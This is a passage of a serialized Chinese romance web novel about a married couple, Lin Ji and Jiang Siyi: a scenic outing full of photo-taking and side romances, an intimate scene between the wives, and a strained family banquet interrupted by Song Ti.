乔槿目光坦然地落在她身上,她全程看着林雪泊的手机,像在研究什么没见过的稀奇的物件,半点不抬头。 乔槿不说话,就看着她表演。 林雪泊靠到乔槿身边,脑袋挨近,笑容完美。 负责拍照的樊青看似专心指挥着拍照的细节,实则焦点全在乔槿身上。 通过手机屏幕看了又看,总算把今天落下的份全看回来了。 怎么会有阿姨这么好看? 林雪泊脸都要笑僵了,樊青还没拍完,一个劲说“再来一张”。 林雪泊:。 这都多少张了? 好不容易拍完,乔槿到另一头拍拍风景。 樊青想了想,还是跟上去。 林雪泊唤来姜司意,挽着她对身边的林棘说: “小佑,帮和我司意宝贝好好拍几张,我要发朋友圈。” 原本要和姜司意单独合影的林棘,只能暂时帮妈妈和妻子拍照。 林雪泊换着各种姿势缠在姜司意身上。 姜司意全程像p上去的,每一张的表情都笑得像三好学生。 终于让林雪泊女士满意了,林棘把手机还给她。 林棘刚要提议和姜司意合影,严逾岑麓拉着姜司聆过来,两人围着两姐妹,继续让林棘当摄像师。 林棘:…… 就没人带根自拍杆? 食指点在拍照键上,差点点出火星子。 火速照完,把手机还给严逾。 严逾狐疑道:“佑姐,怎么觉得你没有好好帮忙照?” 林棘:“包你满意。” 严逾打开图库,好家伙,给她拍了上百张了这是,合照山合照海的,两辈子的合照都拍完了,看得她眼前一阵晕眩。 还说不着林棘,毕竟真的拍得很好看…… 这回能找姜司意拍合照了吧。 林棘一转头,见姜司意又被一群陌生女孩围住了。 林棘:? “真的是嘉仕比的美女拍卖师!姜司意!” “啊啊啊啊真人怎么可以比视频上还好看!” “小姜姐姐,我是你的粉丝!可以合影吗?看你视频好久了!” 林棘:。 我老婆是景点吗请问? 没想到会遇到陌生人的合影要求。 小姑娘们很热情,姜司意不好意思拒绝: “可以啊。” 女孩们左左右右围着姜司意,正要用自拍杆拍照。 发现镜头里多了一个“陌生人”。 所有人看向不知道从哪儿冒出来,钻到姜司意身边的女人。 是长得好美的姐姐。 可是…… “你是谁啊?” 非要站在姜司意身边的林棘,本来要自亮身份,想了想,不知道嘉仕比是不是想把姜司意打造成“明星拍卖师”。 明星,都是不方便公开感情状况的。 她要是多嘴,怕是会影响姜司意的事业。 不过林棘也没要让步的意思。 顶着所有人的注视,林棘尽量让自己看上去别太凶神恶煞,微笑道: “我也是小姜姐姐的粉丝,头号粉丝。” 所有人:? 姜司意:…… 就打算以粉丝的身份蹭合影了。 手却被姜司意握住。 “小佑别闹了。” 姜司意无奈又温柔地笑,将林棘拉得更紧些。 比所有人都近。 “她是我老婆。” 【作者有话说】 林棘:今天也是被老婆宠的一天[让我康康] 69 第69章 ◎醋精老婆◎ “她是我老婆。”姜司意说,“她能一起合影吗?” 众人的目光在她俩中间穿梭了一阵。 老婆还来冒充粉丝。 这么爱的吗? “小姜姐姐才多大,居然结婚了?” “可惜啊,英年早婚。” 一阵小声的嘀咕落进林棘的耳朵里。 林棘带着微笑,淡淡凝视回去。 吓得人把后面的话吞了回去。 小姜姐姐那么温柔,怎么老婆这么凶啊。 立刻改了口。 “这、这么早结婚那肯定是找到真爱了。” “当然可以一起合影啦,两个大美女在一起多养眼啊。” “来拍来拍!” 姜司意牵着林棘,让她霸占画面的核心位置。 被姜司意宠着的林棘,将握着的手转成了十指相扣。 指根相抵,不留半点缝隙。 拍照的女孩喊“一二三”的时候,林棘轻动手指,点了点姜司意指背的小骨头。 姜司意感受到她的动作,下意识偏头看她。 画面被定格在这一瞬。 之后很长一段时间,这张照片在网络上广为流传。 姜司意就是这样偏着头,带着灵动的笑,凝望身边人。 那张照片被命名为“嘉仕比新锐美女拍卖师姜司意,和她非要蹭粉丝合影的醋精老婆”…… 玻璃观景台尽头。 乔槿走到最边上,人比较少的地方,随意拍了张照。 看照片的时候,眼睛都没抬,说: “那天敢把我摁门后亲,今天怎么连跟我说话的勇气都没有了?” 跟在她身后大半天的樊青顿了脚步,双手从兜里拿出来,踢脚边的小石子,说: “那晚……抱歉,是我太冲动了。” “不该为冲动道歉。” 乔槿握着退回到桌面的手机,转身,风微微带起几丝长发,贴在脸边。 “该道歉的,是你的烂吻技。” 樊青:…… 压抑的终究都会走向失控。 越是克制,在爆发的时候越是汹涌。 那晚真就不该去陪乔槿喝酒。 但话说回来,第一次接吻,那技术……算很烂吗? 你眼神不也被我吻得不对劲了吗? 樊青在心里不服气地反驳半天,到了嘴边,还是乖乖说了三个字—— “对不起。” 看上去个头高高长得凶凶,道歉起来眉眼却是软软的。 像不小心咬着主人,不知所措的小狗。 乔槿笑了笑,没再说什么。 樊青被乔槿的态度弄得心里发痒。 猜不透乔槿是怎么看她的。 不爱说话的人,最是难懂。 BOSS正和妻子在一起,应该没她什么事,樊青继续在乔槿身边溜达一会儿。 看了眼乔槿的手机屏幕,有点惊讶。 “怎么是系统默认壁纸?” “刚买的手机,没弄。” “哦。” “你发我一张。” 樊青想了想,发了张很有成熟韵味的花卉摄影图给乔槿。 乔槿:。 乔槿:“你手机里就这些?” 樊青:“就这些。” 乔槿都笑了,“年轻人不都爱自拍?” 樊青:“我二十七了好吧,也不算年轻人了。” 乔槿不说话,就看着她装成熟。 “而且你看我这张脸,像是爱自拍的人吗?” 樊青说这话的时候没看乔槿。 因为自卑,她自己心里明白。 刚想装作没事靠在护栏上,被乔槿拉回来。 “别乱靠,不怕摔下去。” 樊青才站直,下巴就落入乔槿手里。 脸被轻转着,脸庞上的每一处细节都落入乔槿的眼中,被她慢慢品味着。 樊青眼眸直了直,有一瞬的沉迷。 就让她瞧着,摆弄着,没吭声。 乔槿淡笑道:“这不长得挺好的,眼睛、鼻子,嘴……” 每说一个部位,樊青的心跳速度就加快一层。 樊青神色里的细节,被乔槿看得一清二楚。 乔槿捏住小下巴,轻动,晃晃她的脑袋。 “都适合拍照。” 刚鼓起勇气想更靠近一些,乔槿就放开了她。 心里有种意犹未尽的踏空感,樊青不太自然地抿了抿唇。 乔槿拿起手机,前置摄像头对准彼此。 “拍一张,当壁纸。” 这是要合照? 樊青被她这几下弄得心脏松一下紧一下的,乱跳。 暗中挪了几步到她身边,紧挨着。 通过乔槿的镜头,樊青发现自己的确长得……算是周正吧? 拍了几张照,乔槿把手机给樊青,让她帮忙选一张刚才拍的照片设成壁纸。 樊青:“你要用咱俩的合照当壁纸啊?” 乔槿:“嗯。” “那,万一……” 被那些爱你爱得死去活来的小宠物们看见怎么办?不得跟你闹? 这话在心里说,没胆量说出口。 樊青只说:“万一被人看见怎么……唔?” 还没说完的话,被乔槿塞到嘴里的一枚小饼干给堵了回去。 乔槿:“好吃吗?” 樊青:…… 发出含糊的两个字:“呜呜。” 好吃。 乔槿笑着拍拍她的脸,将整包饼干放到她手里,拿回手机,把樊青刚才看得最久的这张设置成了壁纸,随后往林雪泊的方向去。 人走了,樊青的眼神还跟了好长一段路。 要命了。 难怪人人都想吃她的小饼干。 是真好吃,真上头…… 姜司意这头终于轮流拍完照,一心想和她合影的林棘又被林雪泊叫去。 叫林棘和乔槿一起选图,再让她修一修,发到朋友圈。 林棘拿着妈妈的手机,目光在跟着姜司意,嘴里说: “您不用修,怎么样都好看。” 林雪泊没想到女儿都能对老妈说这种甜言蜜语了。 司意真是把她不得了的一面都挖掘出来了。 林雪泊笑得眉眼弯弯。 “我知道,我只是想让你帮我修掉后面的路人。” 林棘:。 用一键消除功能修好了林雪泊指定的照片。 把手机还给她。 林雪泊:“你老婆今天也好美,要不要照片?” 林棘:“感觉您越来越为老不尊了。” 林雪泊:“不要,好的。” 林棘:“……要。” 林雪泊享受着拿捏着女儿的快乐,把所有姜司意出镜的照片全发给她。 然后再全部选中,打算发朋友圈。 有姜司聆出镜的照片也一同放到中心,所有人能一眼看到的位置。 想了想文案,写道: 【好天气就是要和女儿们在一起。】。 严逾最喜欢拍照,拉着岑麓指挥着她从哪个角度拍,怎么拍,重点在哪。 岑麓面无表情任她使唤,机械式拍完,给她看。 严逾满怀期待看完,略有嫌弃地评价道:“拍得挺好,但没有灵魂。” 岑麓耷拉着眼皮,“拍的是你,没灵魂也是你没灵魂。” 严逾:“是你这张棺材脸影响我发挥!本来想说人家都一对对的,就咱们单身,要不然凑合过得了。现在看来,哼。” 岑麓继续冷脸道:“谢谢不杀之恩。” “?我这么一个大美女你还挑三拣四。我找我嫂嫂给我拍。” 接触过几次就知道姜司意脾气超好,很会宠人。 性格认真,拍卖行的拍卖师,品味肯定也好。 感觉拜托她帮忙,大小事都会做到最好。 果然,严逾去撒个娇,姜司意就答应了,拿着严逾的手机,完全配合她的各种要求,再加入自己的意见,没有半点不耐烦。上次拍的那十几万一套的写真也就这样了。 拍完后看看效果,严逾:“行了行了,灵魂回来了,嫂嫂好棒,爱死嫂嫂!” 姜司意都没想到没什么拍照天赋的自己,能让严逾夸个不停。 “是严小姐教的好。*以后还想拍照的话可以找我。” 人长得美脾气又好,严逾本想狠亲嫂嫂宝宝两口,奈何收到远处被亲妈扣着的林棘犀利眼刀,只能作罢。 感觉后脚跟有点疼,严逾倒吸凉气,单腿挪着坐到一旁的石凳上。 岑麓:“怎么?” “被佑姐盯一眼脚跟都破了?好痛。” 严逾看了下后脚跟,都红了,眼看着要破皮。 姜司意蹲下帮她检查,“这是新鞋磨脚了。” 严逾:“啊,我都忘了,的确是刚买的鞋。” 岑麓:“怎么会有人来徒步穿新鞋?” 严逾难以置信,“岑麓,我难道不是你最可爱的宝贝青梅吗?脚都要磨破了怎么也不心疼我,还嘲笑我。不让你住我家睡我床了!” 岑麓最喜欢看严逾吃瘪的样子。 每次因为一点点小事就闹上了,还闹得委委屈屈真情实感,幼稚的样子很解乏。 岑麓拿出手机,正想给她闪送双拖鞋来。 姜司意也打算去包里拿创可贴。 她姐就是这样,鞋经常买到不合适的版型和设计,磨脚,一出门就破后脚跟,让她养成和姐姐出门就会下意识带创可贴的习惯。 这么一翻包,发现水怎么不见了。 姜司意:? 本能地看向林棘。 她背的水不知道什么时候跑到林棘的背包侧兜了。 怎么会有人宠人还不吭声。 眼尾情不自禁地弯了。 难怪走了三公里半点不累的。 因为这个小插曲,姜司意动作慢了半拍。 岑麓也还在下单。 一个陌生女人率先蹲到严逾身侧,问: “穿38?” 严逾在意外间转眸,被一双极好看的眼弄得呼吸都一顿。 这陌生女人戴着金丝眼镜,法式中长发正好到肩膀的位置,三十岁出头的模样,斯文知性中带着种高智商的冷。 救命,是严逾最吃的天菜。 严逾意外地“啊?”了一声,随后乖乖点头。 “和我换,不磨脚。” 半个字不多说,很有主导感。 姜司意和岑麓都在瞧着这好心的陌生人。 鞋很私人的物件,严逾未必会换吧。 严逾一秒答应,眼泛桃花,害羞地:“好啊好啊,谢谢姐姐。” 心里呐喊了好几声“妈妈!”。 姜司意:…… 岑麓:。 行吧,高估她了。 两人换了鞋,严逾心想着今天是来对了,大桃花! 严逾:“姐姐,能不能加个微信,回头我也好把鞋还给你。” 岑麓转开眸,看不了一点老友这副恨不能生扑的模样。 对方却说:“不用,举手之劳。” 说完就走了。 严逾:? 不是,真就做好人好事来了? 刚刚飘起的桃花,一瞬间砸在脸上。 岑麓忍不住笑出声,严逾气呼呼地瞪她。 岑麓安心接收严逾的怒视,与此同时身后荡来一阵凉风。 这儿的风景的确很美,打算顺手拍一张。 手机横过来,选好了景构好了图,指尖却悬停在拍照键上。 拍了,也无人可分享。 落寞感像冷水,从她的心上漫过。 怅然间放下手机,没拍,就用眼睛随便看看罢了。 …… 樊青晃晃悠悠到姜司聆身边,神神秘秘道: “姐,走,我请你吃冰淇淋。” 姜司聆现在看到樊青就觉得她姓尴名尬。 “不,我请你。上次抱歉啊,误会你了。” 樊青面对乔槿之外的人,嘴甜得很。 “随便误会没事儿。姐我有事想请教你。” 两人到了冰淇淋档口,樊青买了顶配的双拼冰淇淋给姜司聆。 姜司聆有点心虚地接过来: “怎么啦,樊小姐有事儿直接问就好了。” “我之前听到你和姜小姐聊天,说,咳。” 樊青往不远处看了眼,确定乔槿和她们的距离不会听到谈话。 “说,你和你女朋友相差十五岁?” “嗯,十五岁三个月。” “不觉得年龄差距大了点么?” “不会啊。” 姜司聆一边吃着冰淇淋一边说。 “我喜欢她的时候就知道她比我大那么多了。倒是完全没奢望过她能喜欢我。别说喜欢,就是认识都不太可能,没想到……” 说到最后,开心地笑了一下。 看樊青闷不吭声,姜司聆目光在不远处林雪泊和乔槿身上逗留着。 “所以,小樊你暗恋的是……” 本来没想要说得太深入,奈何姜司聆有可能误会她心上人是林雪泊,立刻澄清: “是乔槿。” 姜司聆大概知道林雪泊的年龄,她的朋友,年龄应该大差不差。 哇,那年龄差比她和格伦达还大。 小樊看着简单又阳光,却是心思挺重的一个人。 姜司聆也买了根冰淇淋请樊青,互请。 两人并肩坐于长椅,晒一晒暖烘烘的阳光。 “这么说起来,我出生的时候格伦达已经在现代艺术界崭露头角,我上小学时她一幅画就能拍到大几千万美元,差距是挺大的。可正因为这样,我才有幸能一直向她学习,一直崇拜着走在前方的她。对我来说,她走过的路,积累过的成就和丰沛的内在,不是我的同龄人能企及的。年龄怎么会是阻碍呢?不是成熟可靠,让人着迷的优点吗?别说她还活着,就算她死了我也不耽误我继续喜欢她。” 樊青:…… “再说了,咱们喜欢的是她们这个人,又不是年龄。如果她们年轻个十岁二十岁,魅力反而要打折扣。而且,你知道的吧……” 姜司聆低声在樊青耳边说。 “年长的姐姐超会的。小孩没法比。” 樊青:。 谁说不是呢,超会。 超会把人握于股掌之间,迷得人不要不要的…… 终于伺候好了母亲,林棘难免想,今天是不是就不给她和姜司意合影的机会? 这事儿一波波的,比工作日还忙。 一回头,发现姜司意站在她身后不知多久了。 看她在忙碌,也没出声打扰。 双手背在身后,在她身后慢悠悠地徘徊,就安静地等待着。 看到林棘转头看她时,立刻就笑了。 刚才还觉得流年不利的一点点丧气,在被姜司意漂亮眼睛凝视的一刹那,完全遗忘了。 姜司意双手捏着手机,“要合影吗?就,咱们两个人。” 居然早就看出来林棘在想什么。 “要。” 一如既往,一秒答应。 答应之后,林棘在心里略略反思—— 想和她单独合影的心思,表现得有这么明显吗? 上次单独的合影还是在结婚证上。 那张照片里心事重重的姜司意,笑容有多僵硬,根本不忍回看。 今天要补一张能看的,能每天都看的。 姜司意拿起手机,打开前置摄像头。 林棘从后面紧贴过来,搂住她的肩膀。 结婚证上两颗尚有距离的脑袋,此刻紧挨在了一起。 嘴角根本压不住。 咔嚓。 一瞬定格。 照片里的姜司意笑靥灿烂自然。 让林棘想起她童年照片里的笑容。 她本该是这样的。 终于又让她拥有这样的笑容了。 漂亮的大眼睛弯弯的,左边脸庞还有个浅浅的可爱酒窝。 和小时候一模一样的酒窝…… 漂亮得让林棘的心溺在里面。 仔仔细细看一遍,不够。 又用目光一寸寸地抚过照片里姜司意的每个细节。 姜司意不贪心,拍一张就好。 林棘却不让她走,又拍了好多张。 每一张照片里的林棘都美得让人心折,姜司意忍不住看了又看。 而她自己,依旧好傻…… 但,傻傻的自己也被林棘用力抱着。 姜司意问林棘:“我能发朋友圈吗?就是,咱们的合影。” “当然。” 上一条朋友圈,也是去年差不多这个时候发的。 独自爬山,在寂寞中看风景的心情还记得。 当时的秋景也很美,只是被蒙上了一层前程迷茫的晦暗。 去年的自己已经有了孑然一身,前望无路的预感。 不知道将面对什么样的未来,有些害怕。 新一年的秋天忽至,她居然和林棘结了婚,还有众多亲朋好友在侧。 无论是生活还是事业,未来都有了更多让她期待的可能。 短短一年,心境已经是全然不同。 选了和大家的合照,再挑跟林棘的合影。 可每张林棘都很好看,姜司意正犹豫不决。 林棘钦点了一张。 “就它吧。” 那张照片中,林棘的脑袋靠在姜司意肩头。 因为身高的悬殊,她整个人歪下来,身子都有点偏。 即便这么偏,也要依恋地靠在老婆肩头。 好粘人。 居然选了张这么粘人的。 可是,照片里的林棘那么美。 姜司意按照林棘说的,就选这张。 指尖轻动,眼里含笑。 连带着一行字一起发到朋友圈—— 【今年,最喜欢的秋天。】 【作者有话说】 林棘:今天还是被老婆宠的一天[让我康康] 70 第70章 ◎镜中被抱着的女人◎ J城城西。 林云汀和宋立名结婚三十周年眼看就要到了。 林云汀跟丈夫说,今年这个周年得好好办,把大姐一家请来,一定要修补和她们家的关系。 在宋家办没什么意思,林云汀打算把西山的老宅子打扫好了,邀请大姐一家人去,借着周年的由头办场家宴。 西山老宅是母亲生前赏枫的地方。 母亲还在的时候,每到这个时节都住在西山。 姐妹俩时不时会带着家人,去老宅里陪陪老人家。 母亲过世后,老宅还保留着,只是去的少了。 每次去都有种半生已过岁月匆匆的苍凉,心情不是很好。 可毕竟留有很多过往温馨的回忆,在那儿办家宴,或许能让大姐想起共同长大的手足之情,念起她的好。 老宅小佑也去过,曾经表达过对西山红枫的喜爱。 能讨小佑的欢心,是最最重要的。 之前她太难取悦,而现在,她心上有了一个人,便有了取悦的方法。 林云汀拉着宋立名去给老宅修。 大厅那盏年久失修的水晶吊灯换成新的。上次台风过境屋顶漏水时弄花了手绘丝绸墙纸是来不及换了,把宋立名书房的画挪出来遮住。那画为了遮丑,挂的位置高到可疑。 宋立名看得难受,又觉得自己的画放在那儿实在憋屈。 林云汀:“那你出钱,把手绘的丝绸墙纸都换了。” 算了一下价格,宋立名不吭声了。 林云汀:“别怪我没提醒你,这次家宴是为了弥补谁惹出的祸。你女儿,还有你妹妹。要不是她俩干的好事,让我姐都不搭理我,我需要张罗这些吗?不帮忙,就闭上你那张讨人厌的嘴。” 宋立名嫌她啰嗦,“我说什么了你就一堆废话,让画待着吧啊谁也别取下来!” 宋缇还在集团里霍霍的时候,集团连续亏损,宋立名还有个发火的对象。现在宋缇彻底不见人影,见了鬼的亏得更惨。 他每走一步都觉得有种即将坠入万丈深渊的危机感,就怕变成下一个姜骆。 宋立名可不想变成笑话,身败名裂。 可现在,距离那一日好像越来越近了。 不用妻子说,宋立名也知道修补好和林雪泊一家的关系有多重要。 这场家宴得办得体面,让大姐一家,主要是让小佑和她新婚妻子高兴。 放下误会,解除心结,以后还是一家人。 这样,无论是集团那边帮上一手,还是宋慧的事,都还有转圜的余地。 只可惜“体面”这两个字,对于现在的林云汀和宋立名而言,昂贵得可怕。 看到林云汀包机空运来的食材,宋立名肉疼得要命,絮絮叨叨个没完。 林云汀指着他的鼻子道:“小佑的肠胃脆弱,我姐也有很多忌口。如果你想她们这顿饭吃得不舒坦,以后再也不登咱们家的门,你大可去逸蓝订一桌。还是说不在小佑拉一把的情况下,你自己能找到方法把集团扭亏为盈?” 宋立名被说得耸了耸肩,依旧带着嘲讽的表情,好像是自己退让。 其实他和林云汀都明白,他只是哑口无言。 相看两厌,同一间客厅都待不下去,宋立名去院子里抽烟。 “还有。” 屋里的林云汀对着他的背影道: “这次别告诉Stella,那孩子一根筋转不过来,小佑和司意肯定不想见到她。她来了非得闹起来,家宴算是白费了。反正,等关系缓和了再专门让她去道歉,听到没有!” 宋立名听得耳朵起茧。 “我傻啊?这点事儿都不懂?” 林云汀指挥着家政团队干活的时候,随手刷刷朋友圈。 原本机械往上划的动作,跟着眼眸一起凝滞。 她看到了林雪泊的朋友圈。 满屏的照片,看得她眼皮直跳。 大姐和……这么多人,一起去了森林公园? 跟姜司意合影就算了,连跟那个姜司聆的合照都放在最中间的位置。 那么多人一起去玩,却没叫上她这个亲妹妹…… 林雪泊很少发朋友圈,一口气发这么多照片更是从来没有过。 评论和点赞人山人海的。 全都在夸媳妇漂亮,和女儿真是天生一对。 说婚礼一定出席,送上大礼。 姐姐的评论区好热闹,林云汀置身冷清的老宅,心里酸溜溜的格外不是滋味。 坐在那儿撑着发痛的脑袋,思索了片刻,准备亲自手写邀请函,送到林雪泊的府上。 要有三份。 林棘一份,林雪泊一份。 还有一份,她要当面送达…… 晚间,林棘的车开进社区时,正好遇到回家的姜司意。 姜司意把共享单车停在门口,正在快步往家里走。 似乎在想事儿,林棘下车跟上来她也没发现。 直到林棘指尖点点她的肩头,才意外地转身。 在秋日将晚的暮色中偶然相遇,提前十分钟见面,欣喜跃上眉梢。 牵着双手,想见的人就在身侧,回家的步伐也不紧不慢了。 姜司意:“今天林云汀来找我了。” 林棘:“送你家宴的邀请函?” 姜司意点点头。 林棘:“她知道我和我妈都有可能不答应,觉得你脾气好,想让你应。你可以直接拒绝她。” 姜司意却说:“我想去。” 一片黄中渗绿的梧桐叶从树干上缓缓荡下,自她们眼前飘过。 姜司意凝视着林棘的眼睛道:“雪泊阿姨和她是亲姐妹,在同一个家族抬头不见低头见,想要避开也不是不行,多少会耗费精力的。而且我之前无意间听到阿姨的聊天,她们姐妹俩还有很多生意是早年一起经营的,至今脱不开关系。” 血亲关系牵扯极深,林家也是个大家族。 家族之间的亲缘关系、利益纠葛更是盘根错节,非常复杂。 林雪泊和林棘已经为她做了很多事,她不能一直躲在她们的羽翼之下,只让她们为自己谋划。 林云汀这次特意办家宴,又亲自上门送请柬,态度谦和到卑微,很明显是在释放求和信号。 “一场家宴而已,为什么不去?若是不去,反而显得我在意什么,畏惧什么。” 林棘有必要提醒一句,“可能会见到你不想见的人。” 姜司意摇摇头。 “我不在乎。我没做错任何事,绕行的不该是我。” 有时候姜司意胆子很小,看上去很好欺负。 有时候她又坚硬得很,谁也屈折不了她。 正好走进后院。 林棘揽住她的腰,在她唇上落下一吻。 姜司意闭着眼,沉醉在和她唇舌纠缠时,想起林棘也喜欢她的拥抱。 双臂攀上她的肩头,依恋地圈起她的脖子。 感受到姜司意的主动,这个吻由深变得更深。 直吻得姜司意漏出了低吟…… 晚间,林棘打电话林雪泊说,司意决定去家宴。 林雪泊欣慰地轻叹。 【司意真的是个懂事的好孩子。】 林棘靠在岛台边。 【她去吗?】 指的是宋缇。 【你小姨特意跟我保证,她不会去,没有告诉她。】 其实宋缇去不去林棘都无所谓。 只是不想脏了姜司意的眼,不想影响她的心情。 当然,如果来也没什么。 就像司意说的,该绕行的人不是她们…… 家宴在即,林雪泊不想浪费两个孩子多余挑选衣服的时间,在京都看秀的时候包了不少顶奢高定,托助理全送到林语水岸。 林棘让姜司意帮她选裙子。 姜司意:“可是,感觉你更有品味。” 林棘摇头,就要姜司意选。 姜司意拗不过她,“好吧。” 姜司意为她选了件乌木缎子和天鹅绒剪裁出的新式燕尾服。 黑色穿在别人身上是无聊,是单调,到了林棘身上则有了不一样的风韵。 这套裙上身保留了燕尾服的独特经典款式,收腰设计与下身大轮廓的裙摆,让林棘优越的腰线更为突出。 不太适合散下长发,姜司意在展示柜前帮她挑选发夹。 林雪泊之前在嘉仕比挥霍,送给她的那些嫁妆都放在这儿。 姜司意目光停留在一众高阶珠宝之中,运用为数不多的穿搭经验想给林棘搭配。 “就它吧。” 林棘钦点了混迹在高阶珠宝中最不醒目的异类。 姜司意的发夹。 之前被林棘“霸占”多时,总是不肯归还的那个。 姜司意皱着眉点点自己的下巴。 也不是不行,总体上是有些反差感,也算搭。 可……那只是个十块钱的发夹。 没等姜司意回应,林棘就自己夹上了。 还戴了领证那日姜司意送她的白茶花耳夹。 一身属于姜司意的气息。 姜司意悄悄看她。 大概知道她为什么要这样搭配。 渐渐确定她是真的挺小气的。 小气得很可爱。 林棘的选完了,换她给姜司意选。 在一众裙子里琢磨了会儿,拿出一件连衣裙。 “试试?” 姜司意换了这条裙子出来,两人一同站在镜墙前。 丝绸连衣裙,精致的手工刺绣是亮点。 乍然一看充满了东方式的典雅,贵气的点睛之笔都在细节上。 站在她身后的林棘,和她一起看向镜中素净的女人。 清丽依旧,也隐约有了种脱胎换骨的成熟之美。 姜司意完全没想到这裙子就像为自己量身定做一般,非常合适。 身后人双臂痴迷地圈住她的腰际,逐渐收紧。 星星点点的动情浮动于林棘的眼眸里。 “我选的这件,你喜欢吗?” 姜司意透过镜子,看着自己是如何被身后人环抱。 “嗯,喜欢,那就,穿这件……” 后面的话说不出了。 一旦开口,会漏出什么样的动静也未可知。 因为颈后小翅膀的位置被咬住了。 轻轻的咬合感,微疼,很痒。 那双太好看的手从她的脸侧抚上来,抚弄着纤柔的脖子。 骨节完美的女人手轻握着的脖子,似新剥出的嫩笋,皮肤薄得仿佛只消再用一点儿力,就能把它揉破。 姜司意被她又抚又咬,难耐地扬起下巴。 红潮在身上蔓延。 慢慢的竟有些不够了。 灵敏地察觉到怀里人的轻颤,咬合忽然施加力道。 “嗯……?” 这一下激出了尾调软软的颤音。 双齿深深浅浅地不停。 镜中被抱着的女人眼神越来越不对劲。 姜司意想别开脸,不想看到自己太意乱情迷的痴态。 却被林棘的手转回来。 眼睁睁地看着自己是如何在林棘的掌控下,眼眸里水色更浓,直至彻底沉沦。 礼裙被抛回龙门架上。 小翅膀染成了艳红。 坐在林棘怀里的姜司意也快熟透了。 晕晕乎乎间,被弄到不自觉地仰起覆着水光的下巴。 腼腆自持着,终究顾不上在林棘抚爱下流露出来的媚。 如何被林棘占有到这个地步。 镜中的一切映在两人的眼底,明明白白。 这份明白很明显加重了姜司意的反应。 即便不言不语,林棘也知道她多有感觉,情绪有多浓烈。 在姜司意耳边说的那句“你是我的”。 几乎同时,怀中人僵住。 腿根抽抖着。 小猫似的呜咽。 那句宣告主权的话,让想象不到的水痕划过林棘的骨节。 僵硬之后,姜司意沾湿了的漂亮眼睛里,流转出被染透的薄红和软意。 又过分了,贪得好多。 “试衣服”试了四个多小时。 都弄出了哭腔,还是又弄了两回。 可她太喜欢姜司意,太喜欢实实在在拥有着她的感受。 着了魔般的贪婪。 林棘轻轻喘了声,滚热的鼻息烘在小翅膀上。 疼惜地吻着怀里人瘦窄的肩头,还是不撒手。 吻得太温柔,像在认错。 姜司意感受到了她的内疚,回身,滚烫的唇和她相吻。 主动又温软地缠绵着。 姜司意的吻还是很不熟练,只是单纯模仿林棘。 似在安抚,让林棘不用内疚。 她很喜欢林棘对她做的这些事。 所有都很喜欢…… 周一,家宴当日。 姜司意的工作性质决定普通周末正是她最忙的时候。 所以,她的休息日基本上都是别人的工作日。 林家家宴的时间随着她来定。 姜司意和林棘一同出发,带上雪球,与林雪泊在西山老宅前汇合。 林云汀跟宋立名提前十五分钟就站在大门口迎接。 看到姐姐,林云汀生怕她跑了似的,立刻上前挽住她,跟大姐聊着老宅新装的事,说起过世的母亲,又提及早年姐妹俩一同创的业。 从大门到庭院,还没进住宅,林云汀就说了这么许多,太有谄媚的嫌疑。 收了收心思,回头冲林棘和姜司意笑。 夸姜司意怀里的雪球血统纯正,养得真好。 林云汀:“西山枫叶都红了,是赏枫的好时节。小佑之前就喜欢,今年枫叶更美。司意啊你来得正是时候。” 姜司意礼貌地笑笑。 林云汀又说今日家宴的食材全都是她包机空运过来的,请了国宴主厨。 “今天我们五个人好好吃顿饭,真的太久没聚了。” 五个人。 林云汀和宋立名,加上她们仨,一共五人。 刻意的话语,为的就是暗示宋缇不会来。 姜司意和林棘都没接话,林雪泊将话题转回了过世的母亲身上。 宋立名知道自己杵哪儿都挺碍眼,客套一番后,就去厨房待着,和抽烟机对着吸烟了。 午间,管家和帮厨将菜一道道摆上主桌。 看得出来今天的家宴林云汀是下了血本,主厨是国宴大师,菜色也是清一色的国宴水准。 吃饭的过程中,林云汀时不时将话题落在姜司意身上。 夸她能干,这么年轻就是嘉仕比的知名拍卖师了,网上的视频她也经常刷。 还很隐晦地提到了以前的事。 提起她对姜司意的照拂。 当然,没有暗示那时她俩还是准婆媳的关系。不敢暗示。 宋立名像侍应生,给大家介绍菜品,倒茶倒酒,询问大家的口味,以便下午的点心看看是否需要调整。 姜司意接话很少,都是客套礼貌地应上一两个字。 林棘干脆全程没开口。 这顿饭吃得别扭,林云汀和宋立名心里都有数。 可人家能来就已经很慷慨了,场面这么尴尬,谁也欢声笑语不起来。 没关系,夫妻两人心照不宣。 今天不需要多热络,开个好头,来日方长。 化解了矛盾,以后一切好说。 用完午餐,众人移步至楼上。 三楼的玻璃幕墙之外,是西山最好的赏枫视角。 搭好牌桌,宋立名拿出个黑色的茶匣,忍着心疼,坐在茶桌前介绍道: “凤凰山单丛宋种1号母树茶,乌岽山顶货真价实的血琥珀。早就禁采了,这些年来假货横行,最后两斤的真货——” 他小心翼翼地打开茶匣。 “全在我这儿了。特意留给自家人尝尝。” 林雪泊喝一口,品出了些肉桂味。 不是母树的口感,是二代嫁接茶。 面带微笑,缓缓放下茶杯。 听宋立名刚才那番言辞,不是故意糊弄人,就是他自个儿被当成冤大头狠宰,还引以为傲了这么多年。 以他的智商推断,后一种的可能性极大。 下午时光漫长,西山再美也不可能干看一下午。 打牌是最适合的消遣。 林云汀一肚子的话想说,也想输几局牌给大姐一家,讨个好,示示弱。 刚组织上牌局,林棘的手机就响了。 林棘接听之后还挨着姜司意,听了一会儿,是最近有些摩擦的收购案,只能起身。 离开时望向姜司意。 姜司意知道她这一眼的意思。 学着她的习惯,在她的指骨上点了点。 示意自己没问题,而且还有雪泊阿姨在,别担心。 林棘暂时离开,剩下的四人围坐在桌前打了两局,都是林雪泊赢。 第三局正打到一半,宋立名的手机也响了,审计的事他不得不接。 将牌放到桌上,眼看三缺一。 林云汀:“那就等等小佑,不着急……” 正说着话,她的视线越过了林雪泊和姜司意,往她们身后门口的方向看。 表情很快从讶异转成无奈,甚至有点厌烦。 “不用等。” 宋缇一屁股坐到姜司意上家,凝视着她。 “我来陪你们玩。” 林云汀看向林雪泊,心口起伏着,一副有口难言的模样。 真没让Stella来,一直保着密。 是她自己不知道从哪儿得到的消息。 可女儿人就在这儿,没法当着她的面开这口解释。 林雪泊无甚表情,甚至喝着苹果朗姆热红酒的动作都没有因为宋缇突然的出现有什么改变。 她没去看林云汀,似乎早就料到,也不需要什么解释。 更没去看宋缇。 只是眼波微微向姜司意的方向移去,在留意姜司意的情绪。 宋缇这些年和谢舒旖混得成了玩咖,会打牌,是朋友圈里知名的牌桌大杀神。 她知道姜司意不怎么打,拿起宋立名的牌看了眼后,挑衅对姜司意道: “不敢?怕输?” 